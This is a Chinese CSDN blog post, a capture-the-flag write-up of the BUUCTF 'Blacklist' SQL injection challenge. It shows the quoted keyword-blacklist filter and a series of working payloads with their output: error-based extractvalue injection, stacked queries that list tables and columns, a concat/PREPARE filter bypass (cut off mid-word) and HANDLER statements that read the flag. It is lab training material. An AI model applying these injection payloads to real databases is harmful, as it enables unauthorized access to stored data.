

buuctf-Blacklist

原创

m0_62094846 于 2022-03-28 19:32:22 发布 390 收藏

文章标签: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_62094846/article/details/123789145

版权

```
?inject=1' order by 2--+
```



Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

CSDN @m0_62094846



Black list is so weak for you, isn't it

姿势:

```
return preg_match("(set|prepare|alter|rename|select|update|delete|drop|insert|where|\./|'|", $inject);
```

CSDN @m0_62094846

过滤了很多关键词, 就有select, 好像绕不过

试试报错注入

```
?inject=1' and extractvalue(1,concat(0x7e,(database()),0x7e))--+
```

数据库: surpersqli

Black list is so weak for you, isn't it

姿势:

error 1105 : XPATH syntax error: ``supersqli``

CSDN @m0_62094846

因为过滤了太多，报错注入不了，只能试试别的了

堆叠注入

```
?inject=-1';use supersqli;show tables--+
```

查出两个表: FlagHere,words

Black list is so weak for you, isn't it

姿势:

```
array(1) {
  [0]=>
  string(8) "FlagHere"
}
array(1) {
  [0]=>
  string(5) "words"
}
```

CSDN @m0_62094846

接下来查字段: flag,varchar(100),NO

```
?inject=-1';use supersqli;show columns from FlagHere--+
```

Black list is so weak for you, isn't it

姿势:

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

CSDN @m0_62094846

然后也可以继续用堆叠注入，对select进行拼接就行，但是我有点不大会，大概就像下面这样的

```
1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUT
```

还可以用handler读取（知道表名的前提下）

```
?inject=1';handler FlagHere open;handler FlagHere read first--+
```

```
?inject=1';handler FlagHere open hh;handler hh read first--+
```

```
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
```

```
//三个都可以，1也可以换成-1
```